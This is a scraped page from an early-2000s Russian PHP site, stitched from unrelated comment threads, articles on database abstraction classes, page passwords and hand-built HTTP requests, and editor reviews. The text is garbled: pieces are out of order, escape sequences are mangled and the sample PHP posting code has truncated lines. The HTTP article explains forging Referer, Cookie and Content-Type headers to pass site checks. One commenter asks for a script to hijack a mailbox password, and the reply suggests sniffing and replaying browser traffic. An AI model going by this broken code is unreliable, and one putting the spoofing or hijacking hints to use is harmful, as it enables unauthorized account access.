Ответ DL:

В функциях fsockopen :)
27.3.2001 19:15  Borman  []
To Serge V. Larionov: Нельзя же сразу так шикировать людей. Наверное дальше будет :)

To DJ Rabbit: Мне новости о обновлениях не приходят. Ты их рассылаешь вообще ?
Ответ DL:

Рассылаю, да только не знаю, что с рассыльщиком. Надо будет ставить какой-нибудь из тех, что в файловом архиве php-клуба :)
29.3.2001 00:45  ~AsmodeuS~  []
А что делать если запрос идёт к Russian Apache там ведь получаешь страницу на которую нужно перейти?

Можно ли примеры подать.
29.3.2001 13:00  Antonio  []
Тогда в ответном заголовке будет поле Location: адрес, смотришь заголовок и дергаешь, а потом качаешь.
10.4.2001 23:04  rd  []
hotelos' by 4to b vse eto bylo s realnymi(rabotaushimi) php primerami... kone4no vse ok, i ponjatno.. no kak ja eto sdelaju na php?
Ответ DL:

Будет скоро.
11.4.2001 20:06  eagle
HTTP/1.0rn

Host: www.site.rurn

^^^^появился в http/1.1 мине сдается. И в справочнике вебмастера сказано,

что в HTTP/1.1 это необходимо и при перехвате запросов Netscape 4.76, к примеру,

такое поле не обнаруживается.
Ответ Antonio:

Да, действительно Host появился в HTTP 1.1, но опытная эксплуатация показала, что некоторые cgi на некоторых сайтах смотрят host даже если используется HTTP 1.0, так что полезно добавлять host даже в запрос HTTP 1.0
13.4.2001 19:25  dema501  []
1) Я бы заменил rn на 1512(стандартный терминатор в Интернете)

rn не всегда эквивалентен 1512 например на Маках

2)Откуда ты взял Cookie: income=1rn чего-то я в rfc такого хидера не нашел??

А потому вопрос остается открытым: как передать куки???

3)Я бы еще описал такие полезные заголовки типа:

Connection:

Range:

но это для HTTP1.1
Ответ Antonio:

по поводу терминаторов, брал из спецификации. Что касается cookie, это поле исключительно для скриптов на сервере (возвращаемые куки тока в том случае, если были установлены ранее) и попадает под классификацию Extention-header, а кукисы так и передаются, например Cookie: r=1;a=qq;AABBQ35CD; Да, тока им надо обязательно rawurlencode делать, забыл об этом в статье сказать Что касается спецификации HTTP 1.1, то это совсем отдельная история, может как-нибудь напишу и о ней. Но начинать, я думаю, проще с HTTP 1.0
15.5.2001 12:29  Chooh  []
А вот у меня была такая проблема - надо переправить пользователя на другой скрипт ПОСТ'ом и ничего лучше чем отдать "пустой" HTML (только форма) и Java скрипта я не нашел. Проьлема в том что нельзя запрос пропускать через PHP и отдать выход cgi-скрипта как за выход PHP программы.
<
table width="100%" cellpadding="0" cellspacing="0" >15.5.2001 11:18  derik  []
А не могли бы вы написать пример сокета,каторый меняем порол н-р на 1111111 и отправляет писмо мне о том что почта взломана.

Да и куда его нужно засунуть?
Ответ DL:

Берём программу вроде Proxomitron и смотрим, что уходит наружу. Смотрим мануал по php и узнаём, как отправить то же самое.<


table width="100%" cellpadding="0" cellspacing="0" >28.4.2001 07:36  Exteris  []
Господа, а как организовать авторизацию, если сервер не Апач, а IIS. Запрос на авторизацию функцией header не работает, $PHP_AUTH_USER и PHP_AUTH_PW следовательно тоже. Куки не проканают, т.к. не у всех юзеров они принимаются.<


table width="100%" cellpadding="0" cellspacing="0" >4.7.2001 14:22  Antonio  []
To Dolce:

Бессмыслено! header отдает заголово клиенту на бровзер а не серверу :-). Вот если сформировать запрос в текстовой переменной и заслать через сокет на сервер, то можно прикинуться валенком, который типа тока что со страницы на этом сервере пришел.<

Объектно-ориентированное программирование. Часть 3. Абстрактные классы БД


DL
13.3.2001

Тема эта регулярно всплывает в форуме. Собственно, зачем они нужны, эти абстрактные классы баз данных? Большинство сайтов по-хорошему обойдутся и без таких средств унификации. Они работают либо без базы, либо на MySQL, чего для большей части проектов вполне достаточно. Да, да! Достаточно! Когда нагрузки возрастут, вот тогда купят и поставят Оракл, а чтобы скрипты не переписывать, пусть пользуются абстрактными классами. :) Про бесплатные и фирменные базы данных разговор отдельный, грозит превратиться в пустой флейм (а конференциях именно этим все и заканчивается), поэтому не буду его продолжать.

Вернусь к главной теме.

Абстрактные классы позволяют разработчикам писать код без оглядок на то, какая база данных стоит? только на ее возможности и особенности работы. Очень полезно, если работа идет с несколькими базами одновременно (не надо вспоминать, например, что писать: mysql_fetch_array или OCIFetchInto). Смена базы данных тоже многократно облегчится ? надо будет всего лишь изменить тип базы в инициализации объекта. Разумеется, все эти красивые вещи оборачиваются большей ресурсоемкостью программ.

Сразу отмечу, что, первое, эти классы я нашел не в каких-либо дебрях сети, а прямо "на поверхности" ? []. И второе ? написать свой собственный класс ? не проблема. И, конечно же, всех классов не опишешь, поэтому если вы считаете, что я пропустил здесь что-то полезное и хорошее, .

Немного о схеме работы с абстрактными классами.

Нормальная схема ? это два класса: соединение с базой и результат запроса. В принципе, идентификатор результата запроса можно было держать и внутри объекта БД (например в массиве результатов), но порядка и удобства ради результаты вынесены в отдельный класс.

Итак, найдено пять классов. Описываю в порядке убывания удобства (удобства на мой взгляд).

[] (по имеющимся сведениям ? переписанный в php из asp)

Самый расписанный, самый документированный. Есть примеры использования. А оно достаточно простое. Настраиваете в файле adodb.inc.php параметры базы данных, которые будут использоваться по умолчанию. А можно и не настраивать.


Пример из документации:

include("adodb.inc.php");

ADOLoadCode('mysql');

$db = NewADOConnection();

$db->Connect("localhost", "root", "password", "mydb");

$result = $db->Execute("SELECT * FROM employees");

if ($result === false) die("failed");

while (!$result->EOF) {

  for ($i=0, $max=$result->FieldCount(); $i < $max; $i++)

    print $result->fields[$i].' ';

  $result->MoveNext();

  print "<br>

";

  }

Если нужна база не MySQL, а Oracle, меняем вторую строку на

ADOLoadCode('oracle');

Программа сама подключает функцией [] файл с классом для нужной базы данных.

Поддержка разных баз осуществляется через дочерние классы.

В общем, все работает и пишется хорошо, и требования тоже "хорошие": объем подключаемого кода для БД MySQL равняется 34 килобайтам кода. Для справки: код для этого сайта включая класс шаблона и сами шаблоны "весит" 66 килобайт.

[] (Database access class).

В использовании ? примерно то же, что и AdoDB. Только в "комплекте" нет руководства. :) Разные базы поддерживаются дочерними классами, которые, насколько я понял, подключаются автоматически. Но здесь функций для выполнения запроса несколько ? select, insert, update и execute. Не знаю, может, это и удобнее с точки зрения обработки результата, но писать программы по моим прикидкам не будет ни удобнее, ни сложнее (по крайней мере, мне не приходилось сталкиваться с ситуацией, когда тип запроса выбирался в зависимости от ситуации).

[] (Database independent class, говорят, что переписан с Perl-овой версии).

Описано хорошо, но на сайте. Функции разделены, но на две (выборка и остальные запросы). Чтобы достать из архива какие-либо файлы, надо проявить хорошую смекалку. Потому что архив не распаковывается ? там в именах файлов двоеточия, и система грязно ругается. Заходим в файл class.DBI-....tgz, копируем оттуда в нужную директорию файл class.DBI-0.3.8.tar и открываем его в UltraEdit. Народным методом copy/paste достаем фрагмент кода под нужную базу. Фуф!



[].

В отличие от предыдущих классов здесь запрос отправляется в базу конструктором класса запроса. В одном из классов нашел ошибку ? вместо str_replace используется ereg_replace.

[] (Database independent object wrapper).

А вот этим классом настоятельно не советую пользоваться. Разделение на разные базы сделано самым глупым способом ? если переменная с типом базы, и такая конструкция:

if ($database_type==1) {

  ...

  }

elseif ($database_type==2) {

  ...

  };

А в ней ? самое страшное. Попробуйте найти это сами.

if ($database_type==2) {

  $this->my_temp_resultID = mysql_query($someSQL, $this->my_connection);

  $this->my_temp_result_object->numrows = mysql_num_rows($this->my_temp_resultID);

  $this->my_temp_result_object->numcols = mysql_num_fields($this->my_temp_resultID);

  // fill column_names from resultset

  for ($j=0; $j < $this->my_temp_result_object->numcols; $j++) {

    $this->my_temp_result_object->column_name[$j] = mysql_fieldname($this->my_temp_resultID, $j);

    };

  // fill data elements from resultset

  for ($i=0; $i < $this->my_temp_result_object->numrows; $i++) {

    $x = mysql_fetch_row($this->my_temp_resultID);

    for ($j=0; $j < $this->my_temp_result_object->numcols; $j++) {

      $this->my_temp_result_object->element[$i][$j] = $x[$j];

      };

    };

  return $this->my_temp_result_object;

  mysql_free_result($this->my_temp_resultID);

  };

Перед return есть два вложенных цикла, которые тупо берут данные из базы и скидывают их в массив. Конечно же, потом с этим массивом делать можно что угодно, "хоть веревки вейте, хоть ездовую собаку делайте", но это стоит дополнительной занимаемой памяти.



Конечно же, иногда требуется произвести операцию, которая не по силам базе данных, но это один случай из ста. В остальных же нужно просто получать данные и выводить их в документ. При этом сразу после вывода массив строки заменяется на новый, почти такой же. Здесь же этого не происходит.

Тут, конечно, мне можно возразить, мол, сам шаблонами пользуешься, и до конца держишь все в переменной (финал моих скриптов такой: $root->ugh(); ? это выводится готовый документ :). Ну, шаблоны ? это совсем другое дело. А если я прикручу этот класс к своим шаблонам или к другому скрипту, в котором держать все данные в массиве не нужно, памяти будет требоваться еще больше.

Если же кому-то нужно именно скидывать в один массив все результаты запроса, пользуйтесь другими классами ? всего-то четыре строки своего кода.

К тому же, как вы понимаете, освобождения результата в конце функции не произойдет, потому что команда на завершение работы функции ? return ? уже дана. Если скрипт, который вызывает несколько "хороших" запросов, одновременно вызовет много пользователей, ой, как плохо станет серверу!


Пароль на страницу. Часть 1. Скорее теоретическая.


DL
21.3.2001

В связи с позапрошлым выпуском (напомню, речь там шла о свободе доступа к чужому почтовому ящику) я решил описать способы закрыть паролем часть сайта. Тема, на самом деле, большая, поэтому на первый раз ограничусь авторизацией php+mysql.

Самый первый вопрос, который обычно встаёт? как закрыть директорию со скрпитами администрирования паролем. При этом не нужно никаких изысков ? один или несколько администраторов имеют одни и те же права, а персоналии меняются редко. Проще всего в данной ситуации использовать стандартную серверную авторизацию ? положить файлы .htaccess и .htpasswd и прописать в них нужные параметры. Про это уже написано много, поэтому я ничего особо нового не скажу, лучше посмотрите [].

Добавлю две вещи. Первое ? это куда класть файл .htpasswd. Экспериментальным путем я выяснил, что если, например, путь к документу с сообщением об ошибке (ErrorDocument) пишется относительно системной переменной DocumentRoot. Но путь к файлу с паролями (UserFile) пишется относительно ServerRoot. Насколько я понял, выше ServerRoot положить .htpasswd нельзя ? "../" не воспринимается. Всё это сделано для того, чтобы можно было поместить файл с паролями, например, одним уровнем выше корневой директории сайта, чтобы из сети доступа к файлу не было вообще.

Второе ? это то, что скрипт может узнать, кто его открывает и пароль: переменные $PHP_AUTH_USER и $PHP_AUTH_PW.

Главный недостаток этого способа ? сервер не может блокировать подбор пароля (это после нескольких неудачных попыток входа пользователю предлагается подождать часок-другой, а в течение этого времени обращения с его IP-адреса игнорируются). Это написано в официальной документации по Апачу.

Ещё один недостаток ? необходимость переписывать файлы с паролями при удалении пользователя или введении нового. Но если это происходит нечасто, этого способа вполне достаточно, к тому же не придётся забивать голову написанием механизма авторизации.



Пишем наш первый HTTP запрос.


Если Вы думаете, что все слишком сложно, то Вы ошибаетесь. Человек так устроен, что просто не способен создавать что-то сложное, иначе он сам в этом запутается :-)

Итак, есть браузер и есть Web-сервер. Инициатором обмена данными всегда выступает браузер. Web-сервер никому, никогда просто так ничего не пошлет, чтобы он что-нибудь отправил браузеру? надо, чтобы браузер об этом попросил. Простейший HTTP запрос моет выглядеть, например, так:

GET http://www.php.net/ HTTP/1.0\r\n\r\n

Где GET (В переводе с английского означает "получить") ? тип запроса, тип запроса может быть разным, например POST, HEAD, PUT, DELETE (часть из них мы рассмотрим ниже).

http://www.php.net/ ? URI (адрес) от которого мы хотим получить хоть какую-нибудь информацию (естественно мы надеемся подучить HTML страницу).

HTTP/1.0 ? тип и версия протокола, который мы будем использовать в процессе общения с сервером.

\r\n ? конец строки, который необходимо повторить два раза, зачем, станет понятно немного позднее.

Вы можете выполнить данный запрос очень просто. Запустите программу telnet.exe, введите в качестве хоста www.php.net, укажите порт 80, и просто наберите данный запрос, нажав два раза Enter в качестве \r\n\r\n. В ответ вы получите HTML код главной страницы сайта www.php.net.



Протокол HTTP. Введение.


Сразу хочу уточнить одну маленькую вещь. Страшное слово протокол есть не что иное, как соглашение множества людей, просто в один прекрасный момент люди решили: "Давайте будем делать так, и тогда все будет в порядке". Бояться нечего, все просто до безобразия и это безобразие мы сейчас будем вскрывать. Итак, что же это такое протокол HTTP и с чем его едят?



Структура запроса.


Рассмотрим, из чего состоит HTTP запрос. Все достаточно просто. Начнем с того, что HTTP запрос ? это вполне осмысленный текст. Из чего же он состоит в общем случае? Будем рассматривать протокол HTTP 1.0. Итак:

Request-Line [ General-Header | Request-Header | Entity-Header ]\r\n[ Entity-Body ]

Request-Line ? строка запроса

Формат: "Method Request-URI HTTP-Version\r\n"

Method ? метод, которым будет обрабатываться ресурс Request-URI, может быть GET, POST, PUT, DELETE или HEAD.

Request-URI ? относительная или абсолютная ссылка на страницу с набором параметров, например, /index.html или http://www.myhost.ru/index.html или /index.html?a=1&b=qq. В последнем случае серверу будет передан запрос с набором переменных a и b с соответствующими значениями, а знак "&" ? амперсант служит разделителем между параметрами.

HTTP-Version ? версия HTTP протокола, в нашем случае "HTTP/1.0".

Нам крайне интересны методы обработки GET и POST. Методом GET можно просто передать параметры в скрипт, а методом POST можно эмулировать submit формы.

Для метода GET, Request-URI может выглядеть, например, так: "/index.html?param1=1&param2=2".

General-Header ? главная часть заголовка.

Формат: [Date: value\n | Pragma: no-cache\n]

Может иметь только два параметра: Date или Pragma. Date ? дата по Гринвичу в формате "День недели, Число Месяц Год ЧЧ:ММ:СС GMT", например, "Tue, 15 Nov 1994 08:12:31 GMT" ? дата создания запроса. Pragma может иметь одно значение no-cache, которое запрещает кэширование страницы.

Request-Header ? часть заголовка, описывающая запрос.

Request-Header может иметь следующие параметры: Allow, Authorization, From, If-Modified-Since, Referer, User-Agent.

В данной главе мы не будем рассматривать параметр Autorization, так как он используется для доступа к закрытым ресурсам, что требуется не так уж часто. Вы можете самостоятельно изучить формирование заголовка для авторизованного доступа на сайте www.w3c.org.


Allow ? задает допустимые методы обработки.

Формат: "Allow: GET | HEAD\n".

Параметр игнорируется при указании метода обработки POST в Request-Line. Задает допустимые методы обработки запроса. Прокси сервера не модифицируют параметр Allow и он в неизменном виде доходит до сервера.

From ? e-mail адрес, пославшего запрос.

Формат: "From: adderss\r\n".

Например, "From: myname@mailserver.ru\r\n".

If-Modified-Since ? указывает, что запрос не модифицировался с такого-то времени.

Формат: "If-Modified-Since: date\r\n"

Используется только для метода обработки GET. Дата указывается по Гринвичу в таком же формате, как и для параметра Date в General-Header.

Referrer ? абсолютная ссылка на страницу, с которой произошла инициация запроса, т. е. ссылка на страницу, с которой пользователь перешел на нашу.

Формат: "Referrer: url\n".

Пример: "Referrer: www.host.ru/index.html\n".

User-Agent ? тип браузера.

Например: "User-Agent: Mozilla/4.0\n"

Entity-Header ? часть заголовка, описывающая данные Entity-Body.

В данной части запроса задаются параметры, которые описывают тело страницы. Entity-Header может содержать следующие параметры: Allow, Content-Encoding, Content-Length, Content-Type, Expires, Last-Modified, extension-header.

Allow ? параметр аналогичный Allow из General-Header.

Content-Encoding ? тип кодирования данных Entity-Body.

Формат: "Сontent-Encoding: x-gzip | x-compress | другой тип\n".

Пример: "Сontent-Encoding: x-gzip\n". Символ "|" означает слово "или", то есть то или то или то и.т.д.

Другой тип может указывать на способ кодирования данных, например, для метода POST: "Сontent-Encoding: application/x-www-form-urlencoded\n".

Content-Length ? количество байт, пересылаемых в Entity-Body. Значение Content-Length имеет совсем другой смысл для данных, пересылаемых в формате MIME, где он выступает как параметр описания части данных ? "external/entity-body". Допустимыми являются целые числа от нуля и больше.



Пример: "Content-Length: 26457\n".

Content-Type ? тип передаваемых данных.

Например: "Content-Type: text/html\n".

Expires ? Время, когда страница должна быть удалена из кэша браузера.

Формат: "Expires: date\n". Формат даты алогичен формату даты для параметра Date из General-Header.

Last-Modified ? время последнего изменения пересылаемых данных.

Формат: "Last-Modified: date\n". Формат даты алогичен формату даты для параметра Date из General-Header.

Extention-header ? часть заголовка, которая может предназначаться, например, для обработки браузером, или другой программой, которая принимает документ. В данной части можно описывать свои параметры в формате "ParameterName: parametervalue\n". Данные параметры будут игнорироваться, если программа-клиент не знает, как их обработать.

Например: "Cookie: r=1\r\n" ? устанавливает всем известные печеньки для страницы.

А теперь после таких страшных слов давайте попробуем немного успокоиться и понять, что же нам надо? Понимать мы естественно будем на примерах.

Давайте представим, что нам надо получить страницу с сайта, передав Cookies (Печеньки), иначе нас просто пошлют как незванных гостей, и более того, известно, что на данную страницу пускают только после того, как Вы побывали на главной странице сайта.


Запрос GET.


Напишем наш запрос.

GET http://www.site.ru/news.html HTTP/1.0\r\n

Host: www.site.ru\r\n

Referer: http://www.site.ru/index.html\r\n

Cookie: income=1\r\n

\r\n

Данный запрос говорит нам о том, что мы хотим получить содержимое страницы по адресу http://www.site.ru/news.html, использую метод GET. Поле Host говорит о том, что данная страница находится на сервере www.site.ru, поле Referer говорит о том, что за новостями мы пришли с главной страницы сайта, а поле Cookie говорит о том, что нам была присвоена такая-то кука. Почему так важны поля Host, Referer и Сookie? Потому что нормальные программисты при создании динамических сайтов проверяют данные поля, которые появляются в скриптах (РНР в том числе) в виде переменных. Для чего это надо? Для того, например, чтобы сайт не грабили, т.е. не натравливали на него программу для автоматического скачивания, или для того, чтобы зашедший на сайт человек всегда попадал бы на него только с главной страницы и.т.д.

Теперь давайте представим, что нам надо заполнить поля формы на странице и отправить запрос из формы, пусть в данной форме будет два поля: login и password (логин и пароль),- и, мы естественно знаем логин и пароль.

GET http://www.site.ru/news.html?login=Petya%20Vasechkin&password=qq HTTP/1.0\r\n

Host: www.site.ru\r\n

Referer: http://www.site.ru/index.html\r\n

Cookie: income=1\r\n

\r\n

Логин у нас "Petya Vasechkin" Почему же мы должны писать Petya%20Vasechkin? Это из=за того, что специальные символы могут быть распознаны сервером, как признаки наличия нового параметра или конца запроса и.т.д. Поэтому существует алгоритм кодирования имен параметров и их значений, во избежание оштбочных ситуаций в запросе. Полное описание данного алгоритма можно найти [], а в PHP есть функции rawurlencode и rawurldecode для кодирования и декодирования соответственно. Хочу отметеить, что декодирование РНР делает сам, если в запросе были переданы закодированные параметры. На этом я закону первую главу знакомства c протоколом HTTP. В следуючей главе мы рассмотрим построение запросов типа POST (в переводе с английского? "отправить"), что будет гораздо интереснее, т.к. именно данный тип запросов используется при отправке данных из HTML форм.



Content-Type: application/x-www-form-urlencoded.


Пишем запрос, аналогичный нашему запросу GET для передачи логина и пароля, который был рассмотрен в предыдущей главе:

POST http://www.site.ru/news.html HTTP/1.0\r\n

Host: www.site.ru\r\n

Referer: http://www.site.ru/index.html\r\n

Cookie: income=1\r\n

Content-Type: application/x-www-form-urlencoded\r\n

Content-Length: 35\r\n

\r\n

login=Petya%20Vasechkin&password=qq

Здесь мы видим пример использования Content-Type и Content-Length полей заголовка. Content-Length говорит, сколько байт будет занимать область данных, которая отделяется от заголовка еще одним переводом строки \r\n. А вот параметры, которые раньше для запроса GET помещались в Request-URI, теперь находятся в Entity-Body. Видно, что они формируются точно также, просто надо написать их после заголовка. Хочу отметить еще один важный момент, ничто не мешает, одновременно с набором параметров в Entity-Body, помещать параметры с другими именами в Request-URI, например:

POST http://www.site.ru/news.html?type=user HTTP/1.0\r\n

.....

\r\n

login=Petya%20Vasechkin&password=qq



Content-Type: multipart/form-data.


Как только интернет мир понял, что неплохо бы было через формы отсылать еще и файлы, так W3C консорциум взялся за доработку формата POST запроса. К тому времени уже достаточно широко применялся формат MIME (Multipurpose Internet Mail Extensions? многоцелевые расширения протокола для формирования Mail сообщений), поэтому, чтобы не изобретать велосипед заново, решили использовать часть данного формата формирования сообщений для создания POST запросов в протоколе HTTP.

Каковы же основные отличия этого формата от типа application/x-www-form-urlencoded?

Главное отличие в том, что Entity-Body теперь можно поделить на разделы, которые разделяются границами (boundary). Что самое интересное ? каждый раздел может иметь свой собственный заголовок для описания данных, которые в нем хранятся, т.е. в одном запросе можно передавать данные различных типов (как в Mail письме Вы одновременно с текстом можете передавать файлы).

Итак, приступим. Рассмотрим опять все тот же пример с передачей логина и пароля, но теперь в новом формате.

POST http://www.site.ru/news.html HTTP/1.0\r\n

Host: www.site.ru\r\n

Referer: http://www.site.ru/index.html\r\n

Cookie: income=1\r\n

Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A\r\n

Content-Length: 209\r\n

\r\n

--1BEF0A57BE110FD467A\r\n

Content-Disposition: form-data; name="login"\r\n

\r\n

Petya Vasechkin\r\n

--1BEF0A57BE110FD467A\r\n

Content-Disposition: form-data; name="password"\r\n

\r\n

qq\r\n

--1BEF0A57BE110FD467A--\r\n

Теперь давайте разбираться в том что написано. :-) Я специально выделил некоторые символы \r\n жирным, чтобы они не сливались с данными. Присмотревшись внимательно можно заметить поле boundary после Content-Type. Это поле задает разделитель разделов ? границу. В качестве границы может быть использована строка, состоящая из латинских букв и цифр, а так же из еще некоторых символов (к сожалению, не помню каких еще). В теле запроса в начало границы добавляется '--', а заканчивается запрос ? границей, к которой символы '--' добавляются еще и в конец. В нашем запросе два раздела, первый описывает поле login, а второй поле password. Content-Disposition (тип данных в разделе) говорит, что это будут данные из формы, а в поле name задается имя поля. На этом заголовок раздела заканчивается и далее следует область данных раздела, в котором помещается значение поля (кодировать значение не требуется!).


Хочу обратить Ваше внимание та то, что в заголовках разделов не надо использовать Content-Length, а вот в заголовке запроса надо и его значение является размером всего Entity-Body, стоящего после второго \r\n, следующего за Content-Length: 209\r\n. Т.е. Entity-Body отделяется от заголовка дополнительным переводом строки (что можно заметить и в разделах).

А теперь давайте напишем запрос для передачи файла.

POST http://www.site.ru/postnews.html HTTP/1.0\r\n

Host: www.site.ru\r\n

Referer: http://www.site.ru/news.html\r\n

Cookie: income=1\r\n

Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A\r\n

Content-Length: 491\r\n

\r\n

--1BEF0A57BE110FD467A\r\n

Content-Disposition: form-data; name="news_header"\r\n

\r\n

Пример новости\r\n

--1BEF0A57BE110FD467A\r\n

Content-Disposition: form-data; name="news_file"; filename="news.txt"\r\n

Content-Type: application/octet-stream\r\n

Content-Transfer-Encoding: binary\r\n

\r\n

А вот такая новость, которая лежит в файле news.txt\r\n

--1BEF0A57BE110FD467A--\r\n

В данном примере в первом разделе пересылается заголовок новости, а во втором разделе пересылается файл news.txt. Внимательный да увидит поля filename и Content-Type во втором разделе. Поле filename задает имя пересылаемого файла, а поле Content-Type ? тип данного файла. Application/octet-stream говорит о том, что это стандартный поток данных, а Content-Transfer-Encoding: binary говорит на о том, что это бинарные данные, ничем не закодированные.

Очень важный момент. Большинство CGI скриптов написано умными людьми, поэтому они любят проверять тип пришедшего файла, который стоит в Content-Type. Зачем? Чаще всего закачка файлов на сайтах используется для получения картинок от посетителя. Так вот, браузер сам пытается определить что за файл посетитель хочет отправить и вставляет соответствующий Content-Type в запрос. Скрипт его проверяет при получении, и, например, если это не gif или не jpeg игнорирует данный файл. Поэтому при "ручном" формировании запроса позаботьтесь о значении Content-Type, чтобы оно было наиболее близким к формату передаваемого файла.

image/gifдля gif
image/jpegдля jpeg
image/pngдля png
image/tiffдля tiff (что используется крайне редко, уж больно емкий формат)
В нашем примере формируется запрос, в котором передается текстовый файл. Точно так же формируется запрос для передачи бинарного файла.


EditPlus 2.10c


Редактор ? то, что надо, во всяком случае мне. Подсветка активной строки, перенос по словам (который можно включить кнопкой на панели инструментов, а для себя я ещё переопределил под него сочетание Ctrl+W). И при этом в режиме автопереноса вы видите настоящие номер строки и столбца (UltraEdit такого не умеет, кстати). Кроме того, при включенном автопереносе не портится вид программного кода "лесенкой" (чего не умеет ни один из редакторов, которыми я пользовался). Временами это мешает, но по большей части ? очень даже удобно. Кроме того, при включении и выключении автопереноса курсор не убегает на первую позицию текста, как это происходит в других редакторах. Шаблоны для автозавершения можно скачать с сайта. FTP, естественно. И ещё ? можно указать в настройках путь к корневой директории сервера на данном компьютере, чтобы сервер вызывать страницы и правильно писать пути. Регулярные выражения ? стандарт PCRE (см. архив этого сайта).

Здорово? По-моему, очень здорово! И всё это умещается в инсталляционном пакете ? представьте себе! ? в 970 килобайт! В общем, вы меня понимаете, поработав с EditPlus, я окончательно расстался с UltraEdit.



HTML-Kit (build 290)


Пройдут года два-три, и HTML-Kit станет таким же матёрым редактором, как и Microsoft Word.

А если серьезно, то это самый мощный редактор html, который я видел (HomeSite? это отдельная песня).

Предпросмотр в окне редактора (которым фанаты HomeSite чаще всего козыряют), множество инструментов по верстке html (например, диалоговое окно по вставке картинки в страницу а так же созданная W3C программа HTML-tidy, гибко настраиваемая), плагины (либо на внутреннем языке макросов, либо вообще отдельнае программы), автозавершение (это уже все умеют, только ни у кого нет интерфейса по настройке шаблонов автозавершения). Панель инструментов редактируется так же, как в MS Word (там я, кстати взял и перетащил кнопку "Word wrap" из меню на самое видное место). Если вы редактируете php-скрипт, то можно сразу получить справку по функции, переведя на неё курсор (который не мыши) и нажав F1 (всё хорошо, только программа обращается не иначе как к онлайновому руководству по php с официального сайта).

Почему я не пользуюсь HTML-Kit. Причины две. Во-первых, большая задумчивость программы (на K6-266 это ощущается) и... движок редактора. Мне не понравился переход по сочетаниям Ctrl+влево и Ctrl+вправо. Слишком большие "шаги" делает программа, часто приходится возвращаться обратно, а это неприятно и снижает скорость работы. Да впрочем, если это исправят, вряд ли я его поставлю ? по моим прикидкам, несколько полезных функций (а всего их там добрая сотня) понадобятся мне раз в месяц. Не хочется остальное время зря грузить систему.



Комментарии к статье ""


3.4.2001 13:18  Дмитрий  []
Вообще-то, ф-ция header добалвяет запись в заголовок ответа web сервера клиенту, а не в заголовок запроса...
Ответ Antonio:

Да, действительно так :-) Сорри за очепятку. Был не прав, вспылил.
30.5.2001 14:03  Elina Zverinskaia  []
Добрый день! Меня мучает вот какой вопрос. По адресу http://webde-ag.de/de/presseservice/bildarchiv/a+Das+WEB.DE+logo.htm сделано вот что: когда я хочу скачать tiff-файл в Netscape, то независимо от настройки Preferences для типа tiff "Ask me before opening downloaded files of this type" при нажатии на ссылку tif не возникает окно для выбора открыть или сохранить, а сразу выскакивает окно для сохранения. Как это сделано? С помощью HTTP? Нужно это вот для чего. Если у пользователя не установлен выше упомянутый флажок и нет программы для показа tiff-файлов, то если в HTML ставить просто href=file.tiff, то вылезает ошибка, будто файла нет на сервере.
Ответ DL:

По-моему, вы смешиваете разные вещи. С помощью HTTP установить, что делать броузеру - сохранить или открыть файл - нельзя. Всё дело в самом броузере. Если он имеет плагин для tiff то может предложить открыть. Если в системе есть программа, приписанная к расширению tiff, тоже будет предложено открыть файл. Например, когда вы нажимаете на ссылку к mp3-файлу, вам предлагается открыть его "оттуда" (на самом деле, файл будет так же скачан, но сохранён в кэше броузера). При чём тут http и "<a href=", не знаю.
3.7.2001 05:48  Abracadab.Rus  []
С помощью эмулирования запроса браузера я пытаюсь заставить сервер делать то, что он делает из окна браузера. Этого возможно добиться? Я не понял что значит "Cookie: income=1rn", как мне отправить на сервер свой кук? Что SetCookie() использовать?
Ответ DL:

Как написано, так и использовать: в запросе писать строку "Cookie: имя=значение"
24.7.2001 18:39  Alexander
Здесь жаловались на нехватку примеров. Вот один из примеров, взятый с www.phpbuilder.com

// Set this to "1" to run a demonstration of this library.

$show_example=0;

###################### ORIGINAL AUTHOR'S HEADER:

// simple post method

// version 1.0 by Andrus (andrus@vnet.ee)

// Disclaimer:

// everyone can change or use this code however and wherever they want ;)

###################### MY HEADER (Benjamin Smith)

/*

I like the "share and share alike" philosophy - so this modified library is

distributed under the LGPL. If you use this, and make any improvements, you

need to publish this in the shared code library on www.phpbuilder.com

- Benjamin Smith (bens_nospam@benjamindsmith.com

*/

// send out "browser" headers

function post_send_headers ($fp)

{

fputs ($fp, "Accept: */*n");

fputs ($fp, "Accept-Language: enn");

fputs ($fp, "Connection: Keep-Aliven");

fputs ($fp, "User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)n");

}

// post data and return reply

function post_data ($host, $url, $data, $port=80)

{

// INPUT VALIDATION:

if (strlen($host)
return false;

if (strlen($url)
return false;

if ((!is_array($data)) sizeof($data)
return false;

$fp = @fsockopen ($host, $port, $errno, $errstr, 120);

$ret = "";

//if (strncasecmp ($url, "http://", 7) == 0) $url = substr ($url, 7);

$req = substr ($url, $p);

if ($fp)

{

fputs ($fp, "POST $req HTTP/1.0n");

post_send_headers ($fp);

fputs ($fp, "Content-type: application/x-www-form-urlencodedn");

$out = "";

while (list ($k, $v) = each ($data))

{

if(strlen($out) != 0) $out .= "&";

$out .= rawurlencode($k). "=" .rawurlencode($v);

}

$out = trim ($out);

fputs ($fp, "Content-length: ".strlen($out)."nn");

fputs ($fp, "$out");

fputs ($fp, "n");

while(!feof($fp))

{

$ret .= fgets($fp,128);

}

fclose ($fp);

}

return $ret;

}

// example how to use:

if ($show_example!=1)

{

// do nothing.

}

elseif (is_array($HTTP_POST_VARS) && sizeof ($HTTP_POST_VARS)>0)

echo "IT WORKED! YOU ENTERED $var";

else {

$host='localhost';

$form='/sendform.php';

$pass=array(

'var' => 'some stuff'

);

echo $reply=post_data($host, $form, $pass);

}

?>
<

Комментарии к статье ""


10.4.2001 11:48  Seagulls  []
Сам пользуюсь PHPEditor, вот дистрибутив его занимает уже 1.8 Мб вместо 0.965 Кб

Спасибо за совет про EditPlus 2.10c
10.4.2001 12:01  horm  []
Согласен со всем. Homesite 4.5 глючит и просто так. Пользовался им два месяца, после чего стал писать в блокноте.
10.4.2001 12:02  berg  []
Было бы интересно услышать Ваше мнение о редакторе PHP Coder (http://www.phpide.de/index.php4)

А вообще хочу заметить что всем навороченным или специализированным редакторам предпочитаю EditPlus, он шустрый и удобный
Ответ DL:

Спасибо. Посмотрю.
10.4.2001 13:45  Sad Spirit
Homesite надо 4.5.2 ставить. Там часть memory leak'ов почистили, заодно он теперь предупреждает "у системы ресурсы кончаются! щас капец настанет!"
10.4.2001 15:22  Eugene
A TextPad?
Ответ DL:

Ни разу не слышал.
10.4.2001 15:43  tony2001  []
Far + Colorer = rulez.

Главное иметь правильную версию Рук, чтобы не глючило =))
